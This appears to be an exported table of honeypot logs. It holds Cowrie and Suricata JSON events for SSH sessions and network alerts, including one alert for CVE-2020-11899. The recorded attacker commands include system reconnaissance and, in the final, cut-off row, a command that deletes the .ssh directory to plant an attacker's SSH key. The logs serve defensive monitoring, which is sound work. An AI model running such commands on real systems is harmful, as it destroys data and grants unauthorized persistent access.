33284	fe80:0000:0000:0000:0086:403d:72ff:040f	109.199.241.180	Suricata	2021-09-20 14:54:45.70415+03	2021-09-20 15:00:05.666721+03	{"_id": "5wYOA3wBvYTbRNuE_U54", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:54:45.704150+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 110}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:0086:403d:72ff:040f", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1184755832176278, "payload": "AAAAAgQAAAD/AgAAAAAAAAAAAAL/WdSrBAAAAP8CAAAAAAAA", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:54:45.704150Z", "@timestamp": "2021-09-20T11:54:45.704Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".....................Y.............."}}	1	\N	\N	alert	\N	\N
33285	192.168.20.103	109.199.241.180	Suricata	2021-09-20 14:54:45.945887+03	2021-09-20 15:00:05.668722+03	{"_id": "6wYOA3wBvYTbRNuE_U54", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.103", "stream": 0, "dest_ip": "224.0.0.251", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:54:45.945887Z", "@timestamp": "2021-09-20T11:54:45.945Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
33286	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:54:46.466526+03	2021-09-20 15:00:05.669722+03	{"_id": "7AYPA3wBvYTbRNuEAE4P", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "cat /proc/cpuinfo | grep model | grep name | wc -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep model | grep name | wc -l", "session": "c3d04de9c460", "@version": "1", "timestamp": "2021-09-20T11:54:46.466526Z", "@timestamp": "2021-09-20T11:54:46.466Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33287	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:54:47.435695+03	2021-09-20 15:00:05.671722+03	{"_id": "9QYPA3wBvYTbRNuEA074", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-hppa-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "eventid": "cowrie.session.params", "message": [], "session": "c3d04de9c460", "@version": "1", "timestamp": "2021-09-20T11:54:47.435695Z", "@timestamp": "2021-09-20T11:54:47.435Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33288	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:54:48.967174+03	2021-09-20 15:00:05.672722+03	{"_id": "-AYPA3wBvYTbRNuEB07h", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 6, "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "src_ip": "121.4.68.188", "ttylog": "log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0 seconds", "session": "c3d04de9c460", "@version": "1", "duration": 0.5630724430084229, "duplicate": true, "timestamp": "2021-09-20T11:54:48.967174Z", "@timestamp": "2021-09-20T11:54:48.967Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33289	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:54:48.404731+03	2021-09-20 15:00:05.673722+03	{"_id": "9wYPA3wBvYTbRNuEB07h", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "uname", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "eventid": "cowrie.command.input", "message": "CMD: uname", "session": "c3d04de9c460", "@version": "1", "timestamp": "2021-09-20T11:54:48.404731Z", "@timestamp": "2021-09-20T11:54:48.404Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33290	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:54:49.395899+03	2021-09-20 15:00:05.675722+03	{"_id": "_AYPA3wBvYTbRNuEC07K", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-hppa-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "eventid": "cowrie.session.params", "message": [], "session": "c3d04de9c460", "@version": "1", "timestamp": "2021-09-20T11:54:49.395899Z", "@timestamp": "2021-09-20T11:54:49.395Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33291	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:54:45.465026+03	2021-09-20 15:00:05.676722+03	{"_id": "5AYOA3wBvYTbRNuE_E4n", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-hppa-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "eventid": "cowrie.session.params", "message": [], "session": "c3d04de9c460", "@version": "1", "timestamp": "2021-09-20T11:54:45.465026Z", "@timestamp": "2021-09-20T11:54:45.465Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33292	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:54:46.045613+03	2021-09-20 15:00:05.677723+03	{"_id": "5gYOA3wBvYTbRNuE_E4n", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 8, "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "src_ip": "121.4.68.188", "ttylog": "log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0 seconds", "session": "c3d04de9c460", "@version": "1", "duration": 0.5806872844696045, "duplicate": true, "timestamp": "2021-09-20T11:54:46.045613Z", "@timestamp": "2021-09-20T11:54:46.045Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33293	192.168.20.109	109.199.241.180	Suricata	2021-09-20 14:54:45.777704+03	2021-09-20 15:00:05.678721+03	{"_id": "6AYOA3wBvYTbRNuE_U54", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.109", "stream": 0, "dest_ip": "224.0.0.2", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:54:45.777704Z", "@timestamp": "2021-09-20T11:54:45.777Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
33295	fe80:0000:0000:0000:0086:403d:72ff:040f	109.199.241.180	Suricata	2021-09-20 14:54:45.70415+03	2021-09-20 15:00:05.681722+03	{"_id": "6gYOA3wBvYTbRNuE_U54", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:54:45.704150+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 110}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:0086:403d:72ff:040f", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1184755832176278, "payload": "AAAAAgQAAAD/AgAAAAAAAAAAAAL/WdSrBAAAAP8CAAAAAAAA", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:54:45.704150Z", "@timestamp": "2021-09-20T11:54:45.704Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".....................Y.............."}}	1	\N	\N	alert	\N	\N
33296	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:54:46.465978+03	2021-09-20 15:00:05.682723+03	{"_id": "7QYPA3wBvYTbRNuEAE4P", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-hppa-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "eventid": "cowrie.session.params", "message": [], "session": "c3d04de9c460", "@version": "1", "timestamp": "2021-09-20T11:54:46.465978Z", "@timestamp": "2021-09-20T11:54:46.465Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33297	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:54:49.396456+03	2021-09-20 15:00:05.683726+03	{"_id": "-gYPA3wBvYTbRNuEC07K", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "uname -a", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "eventid": "cowrie.command.input", "message": "CMD: uname -a", "session": "c3d04de9c460", "@version": "1", "timestamp": "2021-09-20T11:54:49.396456Z", "@timestamp": "2021-09-20T11:54:49.396Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33298	150.109.115.128	109.199.241.180	Suricata	2021-09-20 14:54:50.358257+03	2021-09-20 15:00:05.685722+03	{"_id": "_QYPA3wBvYTbRNuEDU4a", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "150.109.115.128", "dest_ip": "192.168.20.116", "flow_id": 137226193818114, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 56078, "dest_port": 22, "timestamp": "2021-09-20T11:54:50.358257Z", "@timestamp": "2021-09-20T11:54:50.358Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
33299	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:54:37.163315+03	2021-09-20 15:00:05.686721+03	{"_id": "mAYOA3wBvYTbRNuE3E7f", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 107, "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f", "src_ip": "121.4.68.188", "ttylog": "log/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0 seconds", "session": "c3d04de9c460", "@version": "1", "duration": 0.5549411773681641, "duplicate": true, "timestamp": "2021-09-20T11:54:37.163315Z", "@timestamp": "2021-09-20T11:54:37.163Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33300	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:54:37.522779+03	2021-09-20 15:00:05.687723+03	{"_id": "mQYOA3wBvYTbRNuE3E7f", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-x64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "eventid": "cowrie.session.params", "message": [], "session": "72b3abb7134e", "@version": "1", "timestamp": "2021-09-20T11:54:37.522779Z", "@timestamp": "2021-09-20T11:54:37.522Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33301	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:54:35.538828+03	2021-09-20 15:00:05.688723+03	{"_id": "jQYOA3wBvYTbRNuE1U4N", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-x64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "eventid": "cowrie.session.params", "message": [], "session": "72b3abb7134e", "@version": "1", "timestamp": "2021-09-20T11:54:35.538828Z", "@timestamp": "2021-09-20T11:54:35.538Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33302	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:54:36.129392+03	2021-09-20 15:00:05.689722+03	{"_id": "kQYOA3wBvYTbRNuE2E70", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "00a5d5dc6e14", "@version": "1", "duration": 2.7606067657470703, "timestamp": "2021-09-20T11:54:36.129392Z", "@timestamp": "2021-09-20T11:54:36.129Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
33303	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:54:36.608452+03	2021-09-20 15:00:05.691722+03	{"_id": "kgYOA3wBvYTbRNuE2E70", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-hppa-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "eventid": "cowrie.session.params", "message": [], "session": "c3d04de9c460", "@version": "1", "timestamp": "2021-09-20T11:54:36.608452Z", "@timestamp": "2021-09-20T11:54:36.608Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33304	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:54:36.533209+03	2021-09-20 15:00:05.692722+03	{"_id": "kAYOA3wBvYTbRNuE2E70", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "w", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "eventid": "cowrie.command.input", "message": "CMD: w", "session": "72b3abb7134e", "@version": "1", "timestamp": "2021-09-20T11:54:36.533209Z", "@timestamp": "2021-09-20T11:54:36.533Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33305	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:54:36.145028+03	2021-09-20 15:00:05.693722+03	{"_id": "kwYOA3wBvYTbRNuE2E71", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.session.closed", "message": "Connection lost after 5 seconds", "session": "1ab1b505d498", "@version": "1", "duration": 5.608243465423584, "timestamp": "2021-09-20T11:54:36.145028Z", "@timestamp": "2021-09-20T11:54:36.145Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
33306	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:54:36.532667+03	2021-09-20 15:00:05.694722+03	{"_id": "lAYOA3wBvYTbRNuE2E71", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-x64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "eventid": "cowrie.session.params", "message": [], "session": "72b3abb7134e", "@version": "1", "timestamp": "2021-09-20T11:54:36.532667Z", "@timestamp": "2021-09-20T11:54:36.532Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
45162	192.168.20.118	109.199.241.180	Suricata	2021-09-20 16:40:32.364036+03	2021-09-20 16:45:02.596591+03	{"_id": "hQZvA3wBvYTbRNuE1Kp8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.118", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T13:40:32.364036Z", "@timestamp": "2021-09-20T13:40:32.364Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
33307	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:54:36.608992+03	2021-09-20 15:00:05.695723+03	{"_id": "lQYOA3wBvYTbRNuE2E71", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \\"ssh-rsa 